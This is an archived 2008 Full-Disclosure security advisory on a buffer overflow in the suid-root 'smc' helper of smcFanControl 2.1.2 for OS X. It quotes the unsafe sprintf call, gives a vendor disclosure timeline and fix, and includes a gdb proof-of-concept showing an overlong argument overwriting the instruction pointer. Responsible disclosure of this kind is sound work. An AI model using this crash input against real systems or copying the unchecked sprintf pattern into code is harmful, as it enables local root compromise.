full-disclosure - Buffer overflows in smcFanControl 2.1.2 for OSX

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 11 Nov 2008 22:08:35 +0800
From: "KaiJern Lau" <xwings.net@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Buffer overflows in smcFanControl 2.1.2 for OSX

vnsecurity.net ADVISORY 2008-11
===============================

:Title: Buffer overflows in smcFanControl 2.1.2 for OSX
:Severity: Critical
:Reporter: KaiJern, Lau ( kjlau at vnsecurity.net)
:Products: smcFanControl 2.1.2
:OS: OSX
:Fixed in: to be release smcFanControl 2.1.3


About smcFanControl
--------------------

First of all, this is a very wonderul software and most of the macbook
install
with this software. A big credit for the author Hendrik Holtmann.

Quote from the Official WebSite :

smcFanControl lets the user set the minimum speed of the build in fans.
So you can increase your minimum fan speed to make your intel mac run
cooler.

However in order not to damage your machine scFanControl let's you not set
minimum
speed to a rate under Apple's defaults. In addition to that fans are still
in automatic
mode, so the speed of your fans will increase, if CPU load gets higher.


Description
-----------

First of all, let us look at
/Applications/smcFanControl.app/Contents/Resources/smc

Input option of smc -k was not able to handle large buffer. This will end up
with a buffer overflow bug.

Code from smc.c

-- snip snip --

int main(int argc, char *argv[])
{
    int c;
    extern char   *optarg;
    extern int    optind, optopt, opterr;

    kern_return_t result;
    int           op = OP_NONE;
    UInt32Char_t  key = "\0";
    SMCVal_t      val;

    while ((c = getopt(argc, argv, "fhk:lrw:v")) != -1)
    {
        switch(c)
        {
        case 'f':
            op = OP_READ_FAN;
            break;
        case 'k':
            sprintf(key, optarg); // Overflow !!!
            break;

-- snip snip --

$ ls -alF /Applications/smcFanControl.app/Contents/Resources/smc
-r-sr-sr-x  1 root  admin  18212 Jun 13  2007
/Applications/smcFanControl.app/Contents/Resources/smc*

With default installation, smc binary is always install with suid root.
There is a possibility
for a local user to gain root privilege.

It has not been verified if other version (version 1.x maybe) are also
vulnerable.

Workaround
----------

Upgrade to latest version.

Fix
---

Hendrik Holtmann releasing smcFanControl 2.1.3.

Disclosure
----------

vnsecurity.net adapts `RFPolicy v2.0 <
http://www.wiretrip.net/rfp/policy.html>`_ in notifying vendors.

:Initial vendor contact:

  Nov 10th, 2008: Initial contact sent to holtmann@....com, while we are
having coffee.

:Vendor response:

  Nov 10th, 2008: Hendrik Holtmann response as soon as we finish our coffee.

:Further communication:

  Nov 10th, 2008: Technical summary sent to Hendrik Holtmann.
  Nov 11th, 2008: Hendrik Holtmann responded with version upgrade. Fixed.



:Public disclosure: 12th Nov 2008


:PoC code:

Exploit for the first overflow written by KaiJern, Lau

::

$ gdb -q /Applications/smcFanControl.app/Contents/Resources/smc
Reading symbols for shared libraries ... done
(gdb) r -k `ruby -e 'print "A" * 45'`BBBBCCCC
Starting program: /Applications/smcFanControl.app/Contents/Resources/smc -k
`ruby -e 'print "A" * 45'`BBBBCCCC
Reading symbols for shared libraries ++........ done

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x43434343
0x43434343 in ?? ()
(gdb) i r
eax            0x0      0
ecx            0xbfffeb8c       -1073747060
edx            0x94bf94a6       -1799383898
ebx            0x41414141       1094795585
esp            0xbfffed60       0xbfffed60
ebp            0x42424242       0x42424242
esi            0x41414141       1094795585
edi            0x41414141       1094795585
eip            0x43434343       0x43434343
eflags         0x10282  66178
cs             0x17     23
ss             0x1f     31
ds             0x1f     31
es             0x1f     31
fs             0x0      0
gs             0x37     55

::

Blog :
------

- http://blog.xwings.net


Special Thanks to
-----------------

- Hack In The Box, http://www.hitb.org
- beist.org
- Blue Moon Consulting Co., Ltd, http://www.bluemoon.com.vn

Disclaimer
----------

The information provided in this advisory is provided "as is" without
warranty of any kind. vnsecurity.net disclaims all warranties,
either express or implied, including the warranties of merchantability and
fitness for a particular purpose.
Your use of the information on the advisory or materials linked from the
advisory is at your own risk.
vnsecurity.net reserves the right to change or update this notice at any
time.

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/